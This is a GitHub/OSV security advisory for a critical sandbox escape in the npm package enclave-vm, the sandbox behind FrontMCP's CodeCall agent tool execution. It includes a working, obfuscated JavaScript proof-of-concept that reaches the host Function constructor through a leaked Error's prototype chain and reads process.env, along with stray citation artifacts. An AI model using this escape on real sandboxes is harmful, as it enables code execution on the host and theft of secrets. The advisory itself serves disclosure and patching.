GHSA-7qm7-455j-5p63

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Source
https://github.com/advisories/GHSA-7qm7-455j-5p63
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-7qm7-455j-5p63/GHSA-7qm7-455j-5p63.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-7qm7-455j-5p63
Aliases
Published
2026-01-14T16:52:30Z
Modified
2026-02-03T02:56:23.079866Z
Severity
  • 10.0 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H CVSS Calculator
Summary
enclave-vm Vulnerable to Sandbox Escape via Host Error Prototype Chain
Details

A critical sandbox escape vulnerability exists in enclave-vm (affected: < 2.6.0, patched: 2.7.0) that can allow untrusted, sandboxed JavaScript to execute arbitrary code in the host Node.js runtime.

When a tool invocation fails, enclave-vm exposes a host-side Error object to sandboxed code. This Error object retains its host realm prototype chain, which can be traversed to reach the host Function constructor:

Error instance → Error.prototype → Error constructor → Function constructor

With access to the host Function constructor, an attacker can compile and execute arbitrary JavaScript in the host context — bypassing the sandbox boundary and potentially gaining access to sensitive resources such as process.env, filesystem, and network.

This breaks enclave-vm’s core security guarantee of isolating untrusted code.


Ecosystem Impact (FrontMCP / CodeCall)

FrontMCP is a TypeScript-first framework for building MCP servers, and the CodeCall plugin enables models to orchestrate large toolsets by generating and executing JavaScript plans.

Enclave is the defense-in-depth sandbox layer behind CodeCall (AST validation + runtime sandboxing). If you use FrontMCP CodeCall for agent tool execution, you should treat this as an urgent upgrade and ensure your runtime is on a patched enclave-vm version.


Live Playground (Safe Exploration & Testing)

To explore Enclave’s execution model (AgentScript + tool calls) and validate your integration behavior, use the live playground:

  • EnclaveVM Playground: https://enclave.agentfront.dev

This is the quickest way to understand the sandbox / tool-call flow and confirm your environment is running a patched setup.


Timeline (Fast Fix)

  • Fix released: enclave-vm@2.7.0 (Jan 9, 2026)
  • Advisory published: Jan 13, 2026

Proof of Concept

⚠️ For defensive validation and maintainers. Do not run PoCs on hosts you don’t own/control.

<details> <summary>Click to expand PoC</summary>

// Vector 35: The Host Error Escape
// Purpose: Trigger a Host-side error and traverse its prototype chain
// to reach the Host Function constructor.

const s = (...args) => String.fromCharCode(...args);

const kCon    = s(99,111,110,115,116,114,117,99,116,111,114); // "constructor"
const kProto  = s(95,95,112,114,111,116,111,95,95);           // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);
const kCode   = s(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,101,110,118);
const kPtype  = s(112,114,111,116,111,116,121,112,101);

try {
    const ObjectProto = Object[kPtype];
    const lookup = ObjectProto[kLookup];
    const getProtoNative = lookup.call(ObjectProto, kProto);

    let hostError;
    try {
        await callTool('THIS_TOOL_DOES_NOT_EXIST_XYZ', {});
    } catch (e) {
        hostError = e;
    }

    const errProto = getProtoNative.call(hostError);
    const ErrorCtor = errProto[kCon];
    const HostFunc = ErrorCtor[kCon];

    const exploitFn = HostFunc(kCode);
    return exploitFn();
} catch (e) {
    return e.message;
}

</details>


Mitigation / Remediation

Immediate action:

  • Upgrade enclave-vm to 2.7.0+

Defense-in-depth guidance:

  • Re-create all Error objects crossing the sandbox boundary inside the sandbox realm
  • Strip / freeze prototype chains of host objects
  • Prevent access to host Function constructors
  • Harden tool error handling to avoid leaking host-native objects

References

```

Factual hooks (for correctness): - GHSA page confirms affected &lt;2.6.0 and patched 2.7.0, plus CVSS 10.0 and the exact vulnerability description. :contentReference[oaicite:0]{index=0}
- FrontMCP docs explicitly describe CodeCall and that it uses Enclave (AST validation + runtime sandboxing). :contentReference[oaicite:1]{index=1}
- FrontMCP positioning (“TypeScript-first framework for MCP…”) is stated in the docs. :contentReference[oaicite:2]{index=2}
- Enclave repo links the Live Demo at enclave.agentfront.dev. :contentReference[oaicite:3]{index=3}
- Release listing shows enclave-vm@2.7.0 dated Jan 9 (fast fix signal). :contentReference[oaicite:4]{index=4} ::contentReference[oaicite:5]{index=5}

Database specific
{
    "nvd_published_at": "2026-01-14T00:15:49Z",
    "cwe_ids": [
        "CWE-94"
    ],
    "severity": "CRITICAL",
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-14T16:52:30Z"
}
References

Affected packages

npm / enclave-vm

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.7.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-7qm7-455j-5p63/GHSA-7qm7-455j-5p63.json"